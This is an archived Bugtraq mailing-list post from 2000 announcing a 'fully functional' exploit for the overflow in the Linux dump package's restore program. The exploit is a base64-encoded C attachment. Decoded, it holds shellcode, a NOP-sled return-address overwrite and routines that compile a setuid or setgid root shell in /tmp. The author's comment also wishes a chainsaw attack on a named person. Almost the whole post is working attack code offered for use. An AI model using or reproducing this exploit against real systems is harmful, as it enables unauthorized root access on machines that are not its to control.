[15319] in bugtraq
Exploit to the overflow in restore
daemon@ATHENA.MIT.EDU (Ronald Huizer [Crew])
Wed Jun 14 14:38:15 2000
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-448904085-836212552-960983440=:25202"
Message-Id: <Pine.LNX.4.10.10006141349470.25202-200000@galaxy.grafix-is.com>
Date: Wed, 14 Jun 2000 13:50:40 +0200
Reply-To: "Ronald Huizer [Crew]" <ronald@GALAXY.GRAFIX-IS.COM>
From: "Ronald Huizer [Crew]" <ronald@GALAXY.GRAFIX-IS.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime@docserver.cac.washington.edu for more info.
---448904085-836212552-960983440=:25202
Content-Type: TEXT/PLAIN; charset=US-ASCII
I guess the subject says enough.
Fully functional - beware of kids :)
-- Scrippie
---448904085-836212552-960983440=:25202
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="rip.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.10.10006141350400.25202@galaxy.grafix-is.com>
Content-Description:
Content-Disposition: attachment; filename="rip.c"
LyogDQogICBETyBOT1QgRElTVFJJQlVURSAgICAgLSAgICAgRE8gTk9UIERJ
U1RSSUJVVEUgICAgIC0gICAgIERPIE5PVCBESVNUUklCVVRFIA0KDQogICBS
ZXN0b3JlIEluIFBlYWNlID8NCg0KICAgR3Vlc3Mgbm90LCBzaWxseSBtaXN0
YWtlcyBrZWVwIGJlaW5nIG1hZGUgaW4gdGhlIGR1bXAgcGFja2FnZSB0aW1l
DQogICBhbmQgdGltZSBhZ2Fpbi4uLiBTb21lb25lIHNob3VsZCBnaXZlIGl0
IGFuIGF1ZGl0IG9uY2UNCg0KICAgIEZvciBvbmNlLCBOT1QgYSBMNG0zcnog
c3R5bGlzaCBzaGVsbHNjcmlwdCwgYnV0IGEgcHVyZSBDIHByb2dyYW0gdGhh
dA0KICAgIGRvZXMgdGhlIHNhbWUgdHJpY2suDQogICAgSXQncyBzbyBtZXNz
eSB0aGF0IEkgaGF2ZSBjaGFuZ2VkIG15IG1pbmQgYWJvdXQgbm90IHdyaXRp
bmcgc2hlbGxzY3JpcHQNCiAgICBleHBsb2l0cyBhbmQgd2lsbCBnbyBhbmQg
d3JpdGUgYSBMNG0zcnogc3R5bGlzaCBzY3JpcHQgbmV4dCB0aW1lIDopDQoN
CiAgICBVc2UgYXM6IHJpcCA8dHlwZT4gW29mZnNldF0NCiAgICBXaGVyZSB0
eXBlIGlzOiAxKSBkdW1wIDAuMy0xNCBvbiByZWd1bGFyIExpbnV4IGJveGVz
DQogICAgICAgICAgICAgICAgICAgMikgZHVtcCAwLjMtMTQgb24gTGludXgg
Ym94ZXMgd2l0aCAyLjIuWCAmJiBYPDE2IGtlcm5lbA0KICAgICAgICAgICAg
ICAgICAgIDMpIGR1bXAtMC40YjEzIG9uIHJlZ3VsYXIgTGludXggYm94ZXMN
CiAgICAgICAgICAgICAgICAgICA0KSBkdW1wLTAuNGIxMyBvbiBMaW51eCBi
b3hlcyB3aXRoIHRoZSBidWdneSBrZXJuZWwNCg0KICAgIEEgTGludXggYm94
IHdpdGggYSBidWdneSBrZXJuZWwgd2lsbCB5aWVsZCByb290LiBJbiBvdGhl
ciBjYXNlcyB3ZSBnZXQNCiAgICBhIHNldGdpZCByb290Lg0KDQogICAgVHlw
ZSAoMSkgbWlnaHQgZnVuY3Rpb24gYSBiaXQgYnVnZ3kgd2l0aCBiYXNoIDIg
c2luY2Ugd2UgY2Fubm90IHNldGdpZA0KICAgIHRvIDAgd2hlbiB3ZSdyZSBl
Z2lkIDAgLSBzZXQgU0hBVCB0byBhc2ggb3IgenNoIGluc3RlYWQgOigNCiAg
ICBJIHJlYWxpemVkIHRoYXQgdHlwZSAyIGFsc28gZG9lc24ndCB3b3JrIHBl
cmZlY3RseSB3aXRoIGJhc2gyIC0gdXNlIGENCiAgICByZWFsIHNoZWxsIGZv
ciB0aGlzIGV4cGxvaXQuDQoNCiAgICBHb29kIFJpZGRhbmNlIQ0KICAgICAg
IC0tIFNjcmlwcGllDQogICAgICAgLS0gcm9uYWxkQGdyYWZpeC5ubCAtICNw
aHJlYWsubmwgLSBidWZmZXIwdmVyZmwwdyBzZWN1cml0eQ0KDQogICAgTG92
ZSBnb2VzIG91dCB0bzogSGVzdGVyLCBNYWphLCBSZW5hdGENCg0KICAgIEkg
aG9wZSB0aGUgZm9sbG93aW5nIHBlcnNvbiB3aWxsIGFtYnVzaGVkIGJ5IHZp
bGxhaW5zIHdpdGggY2hhaW5zYXdzOg0KICAgICAgIEdlcnJpZSBNYW5zdXIN
Cg0KICAgIFNob3V0cyB0bzogYWxsIG15IGZyaWVuZHMgQGlyY25ldCBhbmQg
QElSTA0KDQogICBETyBOT1QgRElTVFJJQlVURSAgICAgLSAgICAgRE8gTk9U
IERJU1RSSUJVVEUgICAgIC0gICAgIERPIE5PVCBESVNUUklCVVRFIA0KDQoq
Lw0KDQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDxsaW51eC9jYXBh
YmlsaXR5Lmg+DQojaW5jbHVkZSA8bGludXgvdW5pc3RkLmg+DQojaW5jbHVk
ZSA8c3lzL3R5cGVzLmg+DQoNCiNkZWZpbmUgTk9QCTB4OTAJCS8qIEhlcmUg
SSBhbSBhZ2FpbiwgSSdtIGNvbWluZyBiYWNrIGZvciBtb3JlICovDQojZGVm
aW5lIFJFVEEzMTQJMjA1MgkJLyogSW5kZXggbnVtYmVyIG9mIHRoZSByZXR1
cm4gYWRkcmVzcyAqLw0KI2RlZmluZSBSRVRBNGIxMyAyMDY4DQojZGVmaW5l
IE5VTU5PUFMJNzAwCQkvKiA3MDAgdXNlZnVsbCBub3BzIG9uIHRoZSBzdGFj
ayAqLw0KI2RlZmluZSBTSEVMTEFUCSIvdG1wL2xva2kiCS8qIEhhaWwgdG8g
dGhlZSwgZ29kIG9mIGV2aWwhICovDQoNCiNkZWZpbmUgU0hBVAkiL2Jpbi9h
c2giCS8qIEFuZCB0byB0aGVlLCAqbml4IHV0aWxpdGllcyEgKi8NCiNkZWZp
bmUgQ0hPV05BVAkiL2Jpbi9jaG93biINCiNkZWZpbmUgQ0hNT0RBVCAiL2Jp
bi9jaG1vZCINCg0KI2RlZmluZSBHQ0NBVAkiL3Vzci9iaW4vZ2NjIgkvKiBB
bmQgdG8gdGhlZSwgR05VIHV0aWxpdGllcyEgKi8NCg0KI2RlZmluZSBSRVNU
QVQJIi9zYmluL3Jlc3RvcmUiCS8qIEFuZCB0byB0aGVlLCBidWdneSBmaWxl
ISAqLw0KDQpjaGFyIGhlbGxjb2RlW10gPQ0KICAgIlx4NjZceDMxXHhjMFx4
NjZceDMxXHhkYlx4YjBceDE3XHhjZFx4ODAiIC8qIEJhc2ggMiBldmFzaW9u
ICovDQogICAiXHg2Nlx4MzFceGMwXHg2Nlx4MzFceGRiXHhiMFx4MmVceGNk
XHg4MCIgLyogSWRlbSBmb3IgZ2lkICovDQogICAiXHhlYlx4MWZceDVlXHg4
OVx4NzZceDA4XHgzMVx4YzBceDg4XHg0Nlx4MDdceDg5XHg0Nlx4MGNceGIw
XHgwYiINCiAgICJceDg5XHhmM1x4OGRceDRlXHgwOFx4OGRceDU2XHgwY1x4
Y2RceDgwXHgzMVx4ZGJceDg5XHhkOFx4NDBceGNkIg0KICAgIlx4ODBceGU4
XHhkY1x4ZmZceGZmXHhmZi90bXAvbGsiOw0KDQpfc3lzY2FsbDIoaW50LCBj
YXBzZXQsIGNhcF91c2VyX2hlYWRlcl90LCBoZWFkZXIsIGNvbnN0IGNhcF91
c2VyX2RhdGFfdCwgZGF0YSkNCmV4dGVybiBpbnQgY2Fwc2V0KGNhcF91c2Vy
X2hlYWRlcl90IGhlYWRlciwgY2FwX3VzZXJfZGF0YV90IGRhdGEpOw0Kdm9p
ZCBiYW5uZXIodm9pZCk7DQp2b2lkIG1ha2VMS3JlZ3VsYXIodm9pZCk7DQp2
b2lkIG1ha2VMS2J1Z2d5S2VybmVsKHZvaWQpOw0Kdm9pZCBtYWtlQ0ZJTEUo
dm9pZCk7DQoNCnVuc2lnbmVkIGxvbmcgZ2V0X3NwKHZvaWQpIHsNCiAgIF9f
YXNtX18oIm1vdmwgJWVzcCwgJWVheCIpOw0KfQ0KDQptYWluKGludCBhcmdj
LCBjaGFyICoqYXJndikNCnsNCiAgIEZJTEUgKmV2aWxSZXN0b3JlLCBsazsN
CiAgIGNoYXIgKm92ZXJmbG93Ow0KICAgdW5zaWduZWQgbG9uZyBhZGR5Ow0K
ICAgaW50IG9mZnNldD0wOw0KICAgaW50IHJldGFwb3M7DQogICBwaWRfdCBj
aGlsZDsNCiAgIGludCB0eXBlOw0KDQogICBpZihhcmdjPDIpIHsNCiAgICAg
IGJhbm5lcigpOw0KICAgICAgZXhpdCgtMSk7DQogICB9DQoNCiAgIGlmKGFy
Z2MgPT0gMykgb2Zmc2V0ID0gYXRvaShhcmd2WzJdKTsNCg0KICAgc3dpdGNo
KGF0b2koYXJndlsxXSkpIHsNCiAgICAgIGNhc2UgMToNCiAgICAgICAgIHBy
aW50ZigiQXNzdW1pbmcgRHVtcCBwYWNrYWdlIHZlcnNpb246IGR1bXAtMC4z
LTE0XG4iKTsNCiAgICAgICAgIHByaW50ZigiVHJ5aW5nIHRvIGdyYWIgU0dJ
RCByb290IHNoZWxsLi4uXG4iKTsNCiAgICAgICAgIHR5cGUgPSAxOw0KICAg
ICAgICAgb2Zmc2V0ID0gMjUwMDsNCiAgICAgICAgIHJldGFwb3MgPSBSRVRB
MzE0Ow0KICAgICAgICAgYnJlYWs7DQogICAgICBjYXNlIDI6DQogICAgICAg
ICBwcmludGYoIkFzc3VtaW5nIER1bXAgcGFja2FnZSB2ZXJzaW9uOiBkdW1w
LTAuMy0xNFxuIik7DQogICAgICAgICBwcmludGYoIlRyeWluZyB0byBncmFi
IFNVSUQgcm9vdCBzaGVsbC4uLlxuIik7DQogICAgICAgICB0eXBlID0gMjsN
CiAgICAgICAgIG9mZnNldCA9IDI1MDA7DQogICAgICAgICByZXRhcG9zID0g
UkVUQTMxNDsNCiAgICAgICAgIGJyZWFrOw0KICAgICAgY2FzZSAzOg0KICAg
ICAgICAgcHJpbnRmKCJBc3N1bWluZyBEdW1wIHBhY2thZ2UgdmVyc2lvbjog
ZHVtcC0wLjRiMTNcbiIpOw0KICAgICAgICAgcHJpbnRmKCJUcnlpbmcgdG8g
Z3JhYiBTR0lEIHJvb3Qgc2hlbGwuLi5cbiIpOw0KICAgICAgICAgdHlwZSA9
IDE7DQogICAgICAgICBvZmZzZXQgPSA2MDAwOw0KICAgICAgICAgcmV0YXBv
cyA9IFJFVEE0YjEzOw0KICAgICAgICAgYnJlYWs7DQogICAgICBjYXNlIDQ6
DQogICAgICAgICBwcmludGYoIkFzc3VtaW5nIER1bXAgcGFja2FnZSB2ZXJz
aW9uOiBkdW1wLTAuNGIxM1xuIik7DQogICAgICAgICBwcmludGYoIlRyeWlu
ZyB0byBncmFiIFNVSUQgcm9vdCBzaGVsbC4uLlxuIik7DQogICAgICAgICB0
eXBlID0gMjsNCiAgICAgICAgIG9mZnNldCA9IDYwMDA7DQogICAgICAgICBy
ZXRhcG9zID0gUkVUQTRiMTM7DQogICAgICAgICBicmVhazsNCiAgICAgIGRl
ZmF1bHQ6DQogICAgICAgICBwcmludGYoIlVua25vd24gdHlwZSAtIGV4aXRp
bmdcbiIpOw0KICAgICAgICAgZXhpdCgtMSk7DQogICB9DQoNCiAgIGlmKHR5
cGUgPT0gMikgew0KICAgICAgICBzdHJ1Y3QgX191c2VyX2NhcF9oZWFkZXJf
c3RydWN0IGNhcGg9e19MSU5VWF9DQVBBQklMSVRZX1ZFUlNJT04sIDB9Ow0K
ICAgICAgICBzdHJ1Y3QgX191c2VyX2NhcF9kYXRhX3N0cnVjdCBjYXBkPXsw
LCAwLCAweGZmZmZmZTdmfTsNCiAgICAgICAgY2Fwc2V0KCZjYXBoLCAmY2Fw
ZCk7DQogICAgICAgIHByaW50ZigiRHJvcHBlZCB0aGUgU0VUVUlEX0NBUC4u
LlxuIik7DQogICB9DQoNCiAgIGFkZHkgPSBnZXRfc3AoKSAtIG9mZnNldDsN
Cg0KICAgb3ZlcmZsb3cgPSAoY2hhciAqKSBtYWxsb2MocmV0YXBvcys1KTsN
Cg0KICAgbWVtc2V0KG92ZXJmbG93LCAweDkwLCByZXRhcG9zKTsNCg0KICAg
bWVtY3B5KChvdmVyZmxvdytOVU1OT1BTKSwgaGVsbGNvZGUsIHN0cmxlbiho
ZWxsY29kZSkpOw0KDQogICBvdmVyZmxvd1tyZXRhcG9zXSA9IGFkZHkgJiAw
eGZmOw0KICAgb3ZlcmZsb3dbcmV0YXBvcysxXSA9IChhZGR5ID4+IDggJiAw
eGZmKTsNCiAgIG92ZXJmbG93W3JldGFwb3MrMl0gPSAoYWRkeSA+PiAxNiAm
IDB4ZmYpOw0KICAgb3ZlcmZsb3dbcmV0YXBvcyszXSA9IChhZGR5ID4+IDI0
ICYgMHhmZik7DQogICBvdmVyZmxvd1tyZXRhcG9zKzRdID0gMHgwMDsNCg0K
ICAgZXZpbFJlc3RvcmUgPSBmb3BlbigiL3RtcC90IiwgInciKTsNCg0KICAg
cHJpbnRmKCJCdWlsZGluZyBDIHByb2dyYW0gd3JhcHBlci4uLlxuIik7DQog
ICBtYWtlQ0ZJTEUoKTsNCiAgIHByaW50ZigiQnVpbGRpbmcgU2hlbGxTY3Jp
cHQgdGhhdCB3aWxsIGJlIGNhbGxlZC4uLlxuIik7DQoNCiAgIGlmKHR5cGUg
PT0gMSkgbWFrZUxLcmVndWxhcigpOw0KICAgaWYodHlwZSA9PSAyKSBtYWtl
TEtidWdneUtlcm5lbCgpOw0KDQogICBwcmludGYoIkJ1aWxkaW5nIG92ZXJm
bG93IGZpbGUuLi5cbiIpOw0KICAgcHJpbnRmKCJVc2luZyBhZGRyZXNzOiAl
eFxuIiwgYWRkeSk7DQoNCiAgIGZwcmludGYoZXZpbFJlc3RvcmUsICJuXG5u
XG5uXG5uXG4xXG4iKTsNCiAgIGZwcmludGYoZXZpbFJlc3RvcmUsIG92ZXJm
bG93KTsNCiAgIGZwcmludGYoZXZpbFJlc3RvcmUsICJcbjFcbm5vbmVcbiIp
Ow0KDQogICBmZmx1c2goZXZpbFJlc3RvcmUpOw0KICAgZmNsb3NlKGV2aWxS
ZXN0b3JlKTsNCg0KICAgcHJpbnRmKCJFeGVjdXRpbmc6ICVzXG4iLCBSRVNU
QVQpOw0KICAgc2xlZXAoMyk7DQoNCiAgIGlmKChjaGlsZCA9IGZvcmsoKSkg
PT0gMCkgew0KICAgICAgY2hhciBibGFhdFsyMDBdOw0KICAgICAgc25wcmlu
dGYoYmxhYXQsIDIwMCwgIiVzIC1SIDwgL3RtcC90XG4iLCBSRVNUQVQpOw0K
ICAgICAgc3lzdGVtKGJsYWF0KTsNCiAgICAgIHVubGluaygiL3RtcC90Iik7
DQogICAgICB1bmxpbmsoIi90bXAvbGsiKTsNCiAgIH0NCg0KICAgcHJpbnRm
KCJcbklmIGV2ZXJ5dGhpbmcgd29ya2VkIG91dCB5b3UgY2FuIG5vdyBydW46
ICVzXG4iLCBTSEVMTEFUKTsNCg0KfQ0KDQp2b2lkIG1ha2VMS3JlZ3VsYXIo
dm9pZCkNCnsNCiAgIEZJTEUgKmxrOw0KICAgY2hhciBibGFhdFsxMDAwXTsJ
LyogUGhqZWFyIHRoZSBhbGxtaWdodHkgbWVtLXN1Y2tlciEgKi8NCg0KICAg
bGsgPSBmb3BlbigiL3RtcC9sayIsICJ3Iik7DQoNCiAgIHNucHJpbnRmKGJs
YWF0LCAxMDAwLCAiIyElc1xuJXMgLnJvb3QgJXNcbiVzIDY3NTUgJXNcbiIs
DQogICAgICAgICAgICBTSEFULCBDSE9XTkFULCBTSEVMTEFULCBDSE1PREFU
LCBTSEVMTEFUKTsNCg0KICAgZnByaW50ZihsaywgYmxhYXQpOw0KICAgZmZs
dXNoKGxrKTsNCiAgIGZjbG9zZShsayk7DQogICB1bWFzaygwKTsNCiAgIGNo
bW9kKCIvdG1wL2xrIiwgMDc1NSk7DQp9DQoNCnZvaWQgbWFrZUxLYnVnZ3lL
ZXJuZWwodm9pZCkNCnsNCiAgIEZJTEUgKmxrOw0KICAgY2hhciBibGFhdFsx
MDAwXTsgICAgLyogUGhqZWFyIHRoZSBhbGxtaWdodHkgbWVtLXN1Y2tlciEg
Ki8NCg0KICAgbGsgPSBmb3BlbigiL3RtcC9sayIsICJ3Iik7DQoNCiAgIHNu
cHJpbnRmKGJsYWF0LCAxMDAwLCAiIyElc1xuJXMgcm9vdC5yb290ICVzXG4l
cyA2NzU1ICVzXG4iLA0KICAgICAgICAgICAgU0hBVCwgQ0hPV05BVCwgU0hF
TExBVCwgQ0hNT0RBVCwgU0hFTExBVCk7DQoNCiAgIGZwcmludGYobGssIGJs
YWF0KTsNCiAgIGZmbHVzaChsayk7DQogICBmY2xvc2UobGspOw0KICAgdW1h
c2soMCk7DQogICBjaG1vZCgiL3RtcC9sayIsIDA3NTUpOw0KfQ0KDQoNCnZv
aWQgbWFrZUNGSUxFKHZvaWQpDQp7DQogICBGSUxFICpsb2tpOw0KICAgcGlk
X3QgY2hpbGQ7DQoNCiAgIGxva2kgPSBmb3BlbigiL3RtcC9sb2tpLmMiLCAi
dyIpOw0KICAgZnByaW50Zihsb2tpLCAiI2luY2x1ZGUgPHN0ZGlvLmg+XG5c
biIpOw0KICAgZnByaW50Zihsb2tpLCAibWFpbigpXG4iKTsNCiAgIGZwcmlu
dGYobG9raSwgIntcbiAgIHNldHVpZCgwKTtcbiIpOw0KICAgZnByaW50Zihs
b2tpLCAiICAgc2V0Z2lkKDApO1xuIik7DQogICBmcHJpbnRmKGxva2ksICIg
ICBleGVjbChcIiIpOw0KICAgZnByaW50Zihsb2tpLCBTSEFUKTsNCiAgIGZw
cmludGYobG9raSwgIlwiLCBcInNoXCIsIE5VTEwpO1xuIik7DQogICBmcHJp
bnRmKGxva2ksICJ9Iik7DQoNCiAgIGZmbHVzaChsb2tpKTsNCiAgIGZjbG9z
ZShsb2tpKTsNCg0KICAgaWYoKGNoaWxkID0gZm9yaygpKSA9PSAwKSB7DQog
ICAgICBleGVjbChHQ0NBVCwgImdjYyIsICIvdG1wL2xva2kuYyIsICItbyIs
IFNIRUxMQVQsIE5VTEwpOw0KICAgfQ0KICAgd2FpdCgpOw0KICAgdW5saW5r
KCIvdG1wL2xva2kuYyIpOw0KfQ0KDQp2b2lkIGJhbm5lcih2b2lkKQ0Kew0K
ICAgcHJpbnRmKCJSZXN0b3JlIEluIFBlYWNlID8gLSBTY3JpcHBpZS8jcGhy
ZWFrLm5sL2IwZlxuIik7DQogICBwcmludGYoIi0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG4iKTsNCiAgIHByaW50Zigi
VXNlIGFzOiByaXAgPHR5cGU+IFtvZmZzZXRdXG4iKTsNCiAgIHByaW50Zigi
VHlwZXMgLSAxKSBkdW1wLTAuMy0xNCAtIFJlZ3VsYXIgTGludXhcbiIpOw0K
ICAgcHJpbnRmKCIgICAgICAtIDIpIGR1bXAtMC4zLTE0IC0gTGludXggd2l0
aCBidWdneSBrZXJuZWwgOilcbiIpOw0KICAgcHJpbnRmKCIgICAgICAtIDMp
IGR1bXAtMC40YjEzIC0gUmVndWxhciBMaW51eFxuIik7DQogICBwcmludGYo
IiAgICAgIC0gNCkgZHVtcC0wLjRiMTMgLSBMaW51eCB3aXRoIGJ1Z2d5IGtl
cm5lbCA6KVxuIik7DQp9DQo=
---448904085-836212552-960983440=:25202--
